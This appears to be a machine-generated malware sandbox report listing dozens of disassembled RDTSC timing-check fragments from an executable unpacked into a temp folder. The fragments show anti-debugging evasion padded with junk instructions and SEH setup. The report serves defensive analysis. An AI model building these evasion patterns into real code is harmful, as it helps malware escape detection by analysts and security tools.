Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 876B12 second address: 876BB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4B31A6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jne 00007F51C4B31A75h 0x00000010 nop 0x00000011 or ebx, dword ptr [ebp+122D2D85h] 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov di, ACBFh 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 jmp 00007F51C4B31A6Fh 0x0000002e mov bh, dl 0x00000030 mov eax, dword ptr [ebp+122D0F95h] 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007F51C4B31A68h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 0000001Bh 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 jmp 00007F51C4B31A78h 0x00000055 or bh, FFFFFFEEh 0x00000058 push FFFFFFFFh 0x0000005a push esi 0x0000005b mov bl, dh 0x0000005d pop edi 0x0000005e nop 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 pop eax 0x00000065 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 876BB6 second address: 876BCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4518264h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 876BCE second address: 876C01 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F51C4B31A71h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F51C4B31A77h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 877BD3 second address: 877C50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F51C4518258h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 jmp 00007F51C4518260h 0x0000002d or ebx, dword ptr [ebp+124705EBh] 0x00000033 push dword ptr fs:[00000000h] 0x0000003a jng 00007F51C451825Ch 0x00000040 sub dword ptr [ebp+122D3DD4h], esi 0x00000046 mov dword ptr fs:[00000000h], esp 0x0000004d mov edi, dword ptr [ebp+122D3149h] 0x00000053 mov eax, dword ptr [ebp+122D10CDh] 0x00000059 sub bx, BF53h 0x0000005e push FFFFFFFFh 0x00000060 mov bx, ABCBh 0x00000064 push eax 0x00000065 pushad 0x00000066 push esi 0x00000067 pushad 0x00000068 popad 0x00000069 pop esi 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 878A62 second address: 878A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 87CB7E second address: 87CB82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 87DA89 second address: 87DA94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F51C4B31A66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 87DB1E second address: 87DB35 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F51C451825Ch 0x00000011 jnp 00007F51C4518256h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 87DB35 second address: 87DB3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 880FAD second address: 880FB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8800F4 second address: 8800F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8801A9 second address: 8801AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8801AD second address: 8801BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C4B31A6Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8801BF second address: 8801C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8801C3 second address: 8801D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8801D2 second address: 8801D8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 88201F second address: 882029 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F51C4B31A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 827F52 second address: 827F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 827F57 second address: 827F5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 827F5C second address: 827F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8894AC second address: 8894DD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 jne 00007F51C4B31A85h 0x0000000c jmp 00007F51C4B31A79h 0x00000011 jng 00007F51C4B31A66h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 88FB56 second address: 88FB5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 88FB5C second address: 88FB60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 88FB60 second address: 88FB64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 88FB64 second address: 88FB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d jmp 00007F51C4B31A77h 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 88FB89 second address: 88FB8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 88FB8F second address: 88FBC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516329h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 pop eax 0x00000015 popad 0x00000016 pushad 0x00000017 jno 00007F51C4516316h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 894370 second address: 89437F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jnp 00007F51C5190FDCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 893B0E second address: 893B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 893B14 second address: 893B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 893D87 second address: 893D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 893D8D second address: 893D9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 893D9D second address: 893DAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F51C4516316h 0x0000000a ja 00007F51C4516316h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 893DAD second address: 893DB6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 893EE9 second address: 893F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jbe 00007F51C451631Eh 0x0000000b jmp 00007F51C4516323h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007F51C4516316h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89B08C second address: 89B090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89B090 second address: 89B094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89B094 second address: 89B0C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F51C5190FDDh 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F51C5190FE3h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 899ED5 second address: 899ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86F556 second address: 86F55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86F55A second address: 86F55E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86F55E second address: 86F564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86F564 second address: 86F587 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F51C4516325h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86F587 second address: 851205 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b or dl, 00000018h 0x0000000e call dword ptr [ebp+122D3A86h] 0x00000014 jno 00007F51C5190FFFh 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f ja 00007F51C5190FD6h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86F623 second address: 86F628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86F628 second address: 86F62E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86F62E second address: 86F6C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516323h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F51C4516328h 0x00000011 xchg eax, ebx 0x00000012 sbb cx, 1EABh 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov edi, dword ptr [ebp+1247837Bh] 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b mov dword ptr [ebp+12484282h], esp 0x00000031 mov dword ptr [ebp+12471452h], edi 0x00000037 mov ecx, dword ptr [ebp+122D2E95h] 0x0000003d cmp dword ptr [ebp+122D2E71h], 00000000h 0x00000044 jne 00007F51C45163BAh 0x0000004a mov edx, dword ptr [ebp+122D2F89h] 0x00000050 mov byte ptr [ebp+122D1E64h], 00000047h 0x00000057 mov edi, dword ptr [ebp+122D267Ch] 0x0000005d mov eax, D49AA7D2h 0x00000062 mov edx, dword ptr [ebp+122D2DF1h] 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push ecx 0x0000006c jnl 00007F51C4516316h 0x00000072 pop ecx 0x00000073 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86F6C2 second address: 86F6C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86FB17 second address: 86FB21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F51C4516316h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86FC20 second address: 86FC24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86FCE9 second address: 86FCED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86FE03 second address: 86FE08 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86FEEC second address: 86FEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86FEF2 second address: 86FEF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 86FEF7 second address: 86FF2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516329h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F51C4516323h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 870382 second address: 8703C5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F51C5190FDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F51C5190FE6h 0x00000010 nop 0x00000011 mov cx, si 0x00000014 push 0000001Eh 0x00000016 xor dword ptr [ebp+122D3D6Fh], esi 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F51C5190FDDh 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8703C5 second address: 8703CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8707F4 second address: 8707FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8707FA second address: 8707FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8707FE second address: 851CC4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F51C5190FD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F51C5190FD8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov edi, 174F1CBFh 0x0000002e call dword ptr [ebp+122DB6D9h] 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 851CC4 second address: 851CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F51C4516316h 0x0000000a jmp 00007F51C4516327h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 851CE6 second address: 851CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F51C5190FD6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89A210 second address: 89A216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89A216 second address: 89A21C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89A21C second address: 89A225 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89A354 second address: 89A369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F51C5190FE0h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89A369 second address: 89A36E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89A36E second address: 89A374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89A973 second address: 89A984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51C451631Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 851D2E second address: 851D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007F51C5190FE2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 851D3B second address: 851D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A0D93 second address: 8A0DAB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F51C5190FE2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A0DAB second address: 8A0DB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A0DB1 second address: 8A0DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A0DB5 second address: 8A0DB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 82B50C second address: 82B524 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89FCC7 second address: 89FCCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89FCCD second address: 89FCD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 89FE0E second address: 89FE13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A0125 second address: 8A0129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A0129 second address: 8A012F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A012F second address: 8A014A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F51C5190FE1h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 8A02C0 second address: 8A02D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C451631Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
